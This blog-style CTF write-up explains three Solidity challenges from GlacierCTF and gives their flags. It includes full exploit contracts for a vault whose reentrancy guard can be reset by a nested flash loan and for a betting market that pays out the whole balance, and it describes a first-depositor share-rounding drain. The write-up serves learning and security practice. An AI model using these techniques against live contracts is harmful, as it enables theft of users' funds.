Post

GlacierCTF Blockchain Writeup

Writeup for 3 blockchain challenges I managed to solve during the CTF.

GlacierCTF Blockchain Writeup

drainme

1
2
3
Please buy my shares and be so kind to not steal the other buyer's money! 

Author: n4nika

Initial Analysis

we’are given 3 files, setup.sol, SB.sol and challenge.sol– as usual we are going to look at the setup first to see the balance distribution across the challenge contracts

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "./Challenge.sol";
import "./SB.sol";

contract Setup {
    ChallengeContract public immutable TARGET; // Contract the player will hack
    SharesBuyer public immutable SB;


    constructor() payable {
        require(msg.value == 100 ether, "Not enough intial funds");

        // Deploy the victim contract
        TARGET = new ChallengeContract();
        SB = new SharesBuyer(address(TARGET));

        (bool success,) = address(SB).call{value: 100 ether}("");
        require(success, "Sending ETH to SB failed");

    }

    // Our challenge in the CTF framework will call this function to
    // check whether the player has solved the challenge or not.
    function isSolved() public view returns (bool) {
        return (address(TARGET).balance == 0 && address(SB).balance == 0);
    }
}

From the setup we know that the SB contract has 100 ether while the challenge contract is deployed without any Ether, the setup.sol::isSolved() also returns true only when both the Challenge and SB contract balance equal to 0. Now let’s see the other 2 contracts.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;


import "./Challenge.sol";

contract SharesBuyer {

  IChallengeContract target;

  constructor(address _target) {
    target = IChallengeContract(_target);
  }

  receive() external payable {}

  function buyShares() public {
    target.depositEth{value: address(this).balance}();
  }
}

The ShareBuyer (SB) contract seems to be a very straight forward one, it only has one function called buyShares() that will transfer all its balance to the Challenge contract, what’s left now is the Challenge Contract

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;

interface IChallengeContract {
    function depositEth() external payable;
    function withdrawEth(uint256) external;
}

contract ChallengeContract
{
    address owner;
    uint256 public totalShares;
    mapping(address => uint) public balances;

    constructor()
    {
        totalShares = 0;
        owner = msg.sender;
    }

    receive() external payable { revert(); } // no donations

    function depositEth() public payable {
        uint256 value = msg.value;
        uint256 shares = 0;

        require(value > 0, "Value too small");

        if (totalShares == 0) {
            shares = value;
        }
        else {
            shares = totalShares * value / address(this).balance;
        }
        
        totalShares += shares;
        balances[msg.sender] += shares;
    }

    function withdrawEth(uint256 shares) public {
        require(balances[msg.sender] >= shares, "Not enough shares");

        uint256 value = shares * address(this).balance / totalShares;

        totalShares -= shares;
        balances[msg.sender] -= shares;

        (bool success,) = address(msg.sender).call{value: value}("");
        require(success, "ETH transfer failed");
    }
}

There are 2 function there, with one being the deposithEth() which will give us the same amount of shares with our msg.value when interacting with it ONLY when the totalShares is equal to 0, else it will calculate the amount of shares that we can get based on the current contract balance and totalShares. The other function withdrawEth() will give us the Ether equal for each shares that we hold.

Solution

The condition that I found is very advantageous for us, the totalShares seems to be zero, so this is one thing that we can control, the idea here is to make the first move before the SB contract buy shares that’s worth 100 Ether. The logic in ChallengeContract::depositEth() seems to contain a rounding error potential in the calculation where the totalShares is no longer zero, let’s say we deposit 1 wei, we will have 1 share and then another people deposit 100 wei, instead of getting 100 shares, since the totalShares is not zero, they will be calculated using the formula shares = totalShares * value / address(this).balance, which in this case the shares is equal to shares = 100 / 101. The result might be 0.99..... but since solidity can’t handle float, it will just be rounded down to 0, effectively making our 1 share to worth 101 wei.

The example above is actually similar to what we’re having here, but this time we are aiming for a bigger amount of 100 Ether, to solve the challenge we can just follow the steps below

  1. depositEth() with the value of 1 wei to get 1 shares
  2. Trigger the SB::buyShares() to transfer the 100 Ether to Challenge contract
  3. Withdraw our 1 share with withdrawEth() – it should give us 100 Ether and 1 wei

And just like that, we’d solved drainme

gctf{pl34s3_g1v3_m3_m0r3_th4n_z3r0_sh4r3s}

Artic Vault

1
2
3
4
The first artic vault was established in 1984. 
It holds all your valuables far away from the reach of any tax/debt collector.

Author: J4X

Initial Analysis

We are given 2 contracts to work with, the usual setup.sol and Challenge.sol (hereinafter referred to as ArticVault). Let’s inspect the Setup contract first.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "./Challenge.sol";

contract Setup {
    ArcticVault public immutable TARGET; // Contract the player will hack

    constructor() payable {
        require(msg.value == 100 ether);

        // Deploy the victim contract
        TARGET = new ArcticVault();

        TARGET.deposit{value: 1 ether}();
    }

    // Our challenge in the CTF framework will call this function to
    // check whether the player has solved the challenge or not.
    function isSolved() public view returns (bool) {
        return address(TARGET).balance == 0;
    }
}

Based on the Setup contract, there is only 1 Ether stored on ArticVault and the goal of the challenge is to make the balance of the ArticVault to zero, the problem here is the Setup didn’t just give the Ether upon deployment, but rather it deposited the Ether through a function called ArticVault::deposit() which we know from the contract map the balances into a variable, here is the ArticVault contract

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;

// --------------- ArcticVault.sol ---------------
// The first artic vault, even safer than swiss banking ;)
// Deposit your funds, and the tax collector will never find them.
// We even offer the coldest flash loans in the world!

contract ArcticVault
{
    address owner;
    mapping(address => uint256) balances;
    bool paused;
    bool reentrancyGuard;

    modifier notPaused()
    {
        require(!paused, "Contract is paused");
        _;
    }

    event Donation(address indexed from, uint256 amount);

    event MyEvent(bytes data);

    constructor()
    {
        owner = msg.sender;
    }

    //Users can deposit funds into the contract
    function deposit() public payable notPaused
    {
        require(!reentrancyGuard, "Reentrancy guard is active");
        require(msg.value > 0, "Amount must be greater than 0");

        balances[msg.sender] += msg.value;
    }

    // Donate to the glacier
    function donate() public payable notPaused
    {
        require(!reentrancyGuard, "Reentrancy guard is active");
        require(msg.value > 0, "Amount must be greater than 0");

        owner.call{value: msg.value}("");
        
        emit Donation(msg.sender, msg.value);
    }

    //Users can withdraw funds from the vault
    function withdraw() public notPaused
    {
        require(!reentrancyGuard, "Reentrancy guard is active");
        require(balances[msg.sender] > 0, "You have no funds to withdraw");

        uint256 amount = balances[msg.sender];
        balances[msg.sender] = 0;

        payable(msg.sender).transfer(amount);
    }

    //Pause contract (in case the glacier gets infiltrated)
    function pause() public
    {
        require(!reentrancyGuard, "Reentrancy guard is active");
        require(msg.sender == owner, "You are not the owner of this contract");
        paused = true;
    }

    //Unpause contract (in case the glacier gets cleared)
    function unpause() public
    {
        require(!reentrancyGuard, "Reentrancy guard is active");
        require(msg.sender == owner, "You are not the owner of this contract");
        paused = false;
    }

    function flashLoan(uint256 amount) public notPaused
    {
        require(address(this).balance >= amount, "Owner has insufficient funds");

        uint256 balanceBefore = address(this).balance;

        //Do the flash loan
        reentrancyGuard = true;
        msg.sender.call{value: amount}("");
        reentrancyGuard = false;

        require(address(this).balance == balanceBefore, "Flash loan failed");
    }

    // ------------------ Utils to make your life easier ------------------


    //Multicall for other contracts (saves gas)
    function multicallOthers(address[] memory _targets, bytes[] memory _data) public payable 
    {
        require(!reentrancyGuard, "Reentrancy guard is active");
        require(_targets.length == _data.length, "Arrays must be the same length");

        for(uint256 i = 0; i < _targets.length; i++)
        {
            (bool success, ) = _targets[i].call(_data[i]);
            require(success, "Transaction failed");
        }
    }

    //Multicall for this contract (saves gas)
    function multicallThis(bytes[] memory _data) public payable
    {
        require(!reentrancyGuard, "Reentrancy guard is active");

        for(uint256 i = 0; i < _data.length; i++)
        {
            (bool success, ) = address(this).delegatecall(_data[i]);
            require(success, "Transaction failed");
        }
    }

    //Carve your personalized event into the ice
    function emitEvent(bytes memory _data) public
    {
        require(!reentrancyGuard, "Reentrancy guard is active");

        emit MyEvent(_data);
    }
}

the contract is quite big, but no worries– the first thing to notice here that there is a modifier called notPaused() which will check the bool paused and require it to be false (not paused) and there is a second reentrancyGuard which is neither make into a modifier nor implemented from openzeppelin library, it’s just a bool. The only function that is not affected by this bool is the flashloan(), it rather make the reentrancyGuard into true, meaning that even if we receive the Ether from the flashloan it’s imposible to do the repayment in a single callback since both the deposit() and withdraw are protected by the reentrancyGuard, but….. is it that safe?

Solution

My Solution here is not an intended one, the author mentioned that the intended solution is to use the multicall that the contract has. Well I was kinda stuck at that time and kinda intimidated by the function so yeah, I found another way :)

Desktop View message from J4X @ glacierCTF discord

After trying to find another way instead of using the multicall provided in the contract, I notice one thing that we still can control the callback from withdraw() or flashloan(), but soon eliminated the withdraw() since it’s protected by the reentrancyGuard, so what can we do– yes! We can call flashloan() twice! Here is the sketch that I made on how this approach is a possible one

Desktop View

So the Idea is when we want to repay the first flashloan with the value of 1 Ether, we need to unlock the functions first which require the reentrancyGuard to be false, how we can do that– well, we just need a second flashloan which borrows 0 Ether and make the reentrancyGuard false, thus enabling us to deposit 1 Ether to satisfy the first flashloan. With this we just gain 1 Ether in our names from the loan while actually deposited nothing to the Vault. What’s left is just to withdraw the 1 Ether and we’d solved the challenge, here is the full exploit

Exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
pragma solidity ^0.8.26;

import "./Setup.sol";
import "./Challenge.sol";

contract Exploit{
    Setup public setup;
    ArcticVault public AV;
    bool public entered;

    constructor(address _setup) {
        setup = Setup(_setup);
        AV = ArcticVault(setup.TARGET());
        entered = false;
    }

   function exploit() public{
        AV.flashLoan(1 ether);
        AV.withdraw();
    }

    receive() external payable{
        if (!entered) {
            entered = true;
            AV.flashLoan(0);
            AV.deposit{value: 1 ether}();
        }
    }
}

Running the exploit() function will allow us to solve the challenge the unintended way, but anyway here is the flag

gctf{Me55age_d0t_wh4t?}

Frozymarket

1
2
3
4
Frozymarket is the first prediction market in the arctic. Bet on your favorite hockey team, 
or get creative creating your own market. The possibilities are endless.

Author: J4X

Initial Analysis

We are given 2 solidity files for this challenge, as usual the Setup.sol and the Challenge.sol, this challenge goal is also classic, making the balance of TARGET or Challenge.sol become zero as we can see in the Setup contract below.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "./Challenge.sol";

contract Setup {
    Frozymarket public immutable TARGET; // Contract the player will hack

    constructor() payable {
        require(msg.value == 100 ether);

        // Deploy the contract
        TARGET = new Frozymarket();

        //Create market on the contract
        TARGET.createMarket("Will the price of ETH be higher than $2000 on 1st January 2022?", 1640995200);

        // Users place bets on the contract
        TARGET.bet{value: 10 ether}(0, true);
        TARGET.bet{value: 10 ether}(0, false);
    }

    // Our challenge in the CTF framework will call this function to
    // check whether the player has solved the challenge or not.
    function isSolved() public view returns (bool) {
        return address(TARGET).balance == 0;
    }
}

Based on the goal, we have exactly one thing to do, is to find where we can get all the balance from the Frozymarket contract, let’s see the Frozymarket Contract now

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;

/**
 * @title BettingMarket
 * @dev This struct represents a betting market with details about the market owner, name, resolution time, and betting outcomes.
 * @param owner The address of the owner who created the betting market.
 * @param name The name of the betting market.
 * @param resolvesBy The timestamp by which the market will be resolved.
 * @param resolved A boolean indicating whether the market has been resolved.
 * @param winner A boolean indicating the outcome of the market (true for outcome A, false for outcome B).
 * @param totalBetsA The total amount of bets placed on outcome A.
 * @param totalBetsB The total amount of bets placed on outcome B.
 */
struct BettingMarket
{
    address owner;
    string name;
    uint256 resolvesBy;
    bool resolved;
    bool winner;

    uint256 totalBetsA;
    uint256 totalBetsB;
}


// ------------------------------ Frozy Market ------------------------------
//
// The very first ice cold betting market on the blockchain.
// Bet on the outcome of a market and win big if you are right.

contract Frozymarket
{
    address owner;
    mapping(uint marketindex => mapping(address user => mapping(bool AorB => uint256 amount))) bets;
    BettingMarket[] public markets;

    uint256 constant BPS = 10_000;

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor()
    {
        owner = msg.sender;
    }

    /**
     * @dev Modifier to make a function callable only by the owner.
     * Reverts with a custom error message if the caller is not the owner.
     */
    modifier onlyOwner()
    {
        require(msg.sender == owner, "Only owner can call this function");
        _;
    }
    
    /**
     * @notice Creates a new market with the specified name and resolution time.
     * @param name The name of the market to be created.
     * @param resolvesBy The timestamp by which the market should resolve.
     * @return The unique identifier of the newly created market.
     */
    function createMarket(string memory name, uint256 resolvesBy) public returns (uint256)
    {
        BettingMarket memory newMarket = BettingMarket(msg.sender, name, resolvesBy, false, false, 0, 0);
        markets.push(newMarket);
        return markets.length - 1;
    }


    /**
     * @notice Places a bet on a specified market with a chosen outcome.
     * @dev This function allows users to place bets on a market's outcome.
     *      The market must be active and not resolved.
     * @param marketIndex The index of the market to bet on.
     * @param outcome The chosen outcome to bet on (true or false).
     */
    function bet(uint256 marketIndex, bool outcome) public payable
    {
        require(marketIndex < markets.length, "Invalid market index");
        require(!markets[marketIndex].resolved, "Market has already resolved");

        if (outcome)
        {
            markets[marketIndex].totalBetsA += msg.value;
            bets[marketIndex][msg.sender][true] += msg.value;
        }
        else
        {
            markets[marketIndex].totalBetsB += msg.value;
            bets[marketIndex][msg.sender][false] += msg.value;
        }
    }

    /**
     * @notice Resolves a market by setting its resolved status and winner.
     * @param marketIndex The index of the market to resolve.
     * @param winner The outcome of the market (true or false).
     * @dev The market can only be resolved by its owner and after the resolve time has passed.
     * @dev Emits no events.
     * @dev Reverts if the market index is invalid, the market is already resolved, or the caller is not the market owner.
     */
    function resolveMarket(uint256 marketIndex, bool winner) public
    {
        require(marketIndex < markets.length, "Invalid market index");
        require(markets[marketIndex].resolvesBy < block.timestamp, "Market can not be resolved yet");
        require(!markets[marketIndex].resolved, "Market has already resolved");
        require(msg.sender == markets[marketIndex].owner, "Only the market owner can resolve the market");

        markets[marketIndex].resolved = true;
        markets[marketIndex].winner = winner;
    }

    /**
     * @notice Allows users to claim their winnings from a resolved market.
     * @param marketIndex The index of the market from which to claim winnings.
     * @dev The function checks if the market index is valid and if the market has been resolved.
     *      Depending on the outcome of the market, it calculates the user's share of the pot and transfers the winnings.
     *      The function follows the Checks-Effects-Interactions (CEI) pattern to prevent reentrancy attacks.
     *      If the user bet on the winning outcome, their bet amount is reset to zero before transferring the winnings.
     */
    function claimWinnings(uint256 marketIndex) public
    {
        require(marketIndex < markets.length, "Invalid market index");
        require(markets[marketIndex].resolved, "Market has not resolved yet");

        uint bpsOfPot;
    
        if (markets[marketIndex].winner)
        {
            require(bets[marketIndex][msg.sender][true] > 0, "You did not bet on the winning outcome");

            //Calc user share, in BPS for less rounding errors
            bpsOfPot = BPS * bets[marketIndex][msg.sender][true] / markets[marketIndex].totalBetsA;

            //Reset bet, we follow CEI pattern
            bets[marketIndex][msg.sender][true] = 0;
        }
        else
        {
            require(bets[marketIndex][msg.sender][false] > 0, "You did not bet on the winning outcome");

            //Calc user share, in BPS for less rounding errors
            bpsOfPot = BPS * bets[marketIndex][msg.sender][false] / markets[marketIndex].totalBetsB;

            //Reset bet, we follow CEI pattern
            bets[marketIndex][msg.sender][false] = 0;
        }

        uint256 payout = address(this).balance * bpsOfPot / BPS;

        //Transfer win to user
        (msg.sender).call{value: payout}("");
    }
}

By the Setup earlier, we know that there is an ongoing betting, but the condition to win that is low for us, so we need to find a way to win in a market to be able to claim the prize, with that being said, the flaw is actually present in the Challenge.sol::claimWinnings()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
    function claimWinnings(uint256 marketIndex) public
    {
        require(marketIndex < markets.length, "Invalid market index");
        require(markets[marketIndex].resolved, "Market has not resolved yet");

        uint bpsOfPot;
    
        if (markets[marketIndex].winner)
        {
            require(bets[marketIndex][msg.sender][true] > 0, "You did not bet on the winning outcome");

            //Calc user share, in BPS for less rounding errors
            bpsOfPot = BPS * bets[marketIndex][msg.sender][true] / markets[marketIndex].totalBetsA;

            //Reset bet, we follow CEI pattern
            bets[marketIndex][msg.sender][true] = 0;
        }
        else
        {
            require(bets[marketIndex][msg.sender][false] > 0, "You did not bet on the winning outcome");

            //Calc user share, in BPS for less rounding errors
            bpsOfPot = BPS * bets[marketIndex][msg.sender][false] / markets[marketIndex].totalBetsB;

            //Reset bet, we follow CEI pattern
            bets[marketIndex][msg.sender][false] = 0;
        }

        uint256 payout = address(this).balance * bpsOfPot / BPS;

        //Transfer win to user
        (msg.sender).call{value: payout}("");
    }

The function above will check for the winner in the marketIndex provided, but the payout is not restricted to the balance of the individual bettingMarket, which mean if we managed to win in a bettingMarket, then we can get every single Ether from the Challenge contract, so now how do we actually win?

Another flaw in the Challenge contract is the fact that it has onlyOwner() modifier but it doesn’t being implemented anywhere around the contract, which mean functions like createMarket() and resolveMarket() is open for us to use, in order to resolveMarket() function to be called tho, we need to be the owner of the market, which mean we cannot resolve the market that was created by the Setup contract. Knowing the possibility now we can actually create the attack.

Solution

The function Challenge.sol::createMarket() allow us to create a market that only we will interact, by doing that we are also the owner of that market, thus can call Challenge.sol::resolveMarket(), with the knowledge of that here is our attack plan

Exploit plan:

  1. Create a Market by calling createMarket()
    • Make sure the resolvesBy is 0 to bypass the require check on resolveMarket()
  2. Bet on the market we created
  3. call the resolveMarket() to close the market
  4. call claimWinnings() to get all the balance from the Frozymarket Contract

Exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;

import "./Challenge.sol";
import "./Setup.sol";

contract Exploit{
    Frozymarket FM;
    Setup public setup;

    constructor(address _setup) payable {
        require(msg.value == 1, "Require 1 wei to Attack!");
        setup = Setup(_setup);
        FM = Frozymarket(setup.TARGET());
    }

    function exploit() external payable{
        FM.createMarket("WINWINWIN", 0);
        FM.bet{value: 1}(1, true);
        FM.resolveMarket(1, true);
        FM.claimWinnings(1);
    }

    receive() external payable {}
}

gctf{m0m_I_finally_m4d3_m0ney_g4mbl1ng_0n_th3_bl0ckch41n}

This post is licensed under CC BY 4.0 by the author.

Trending Tags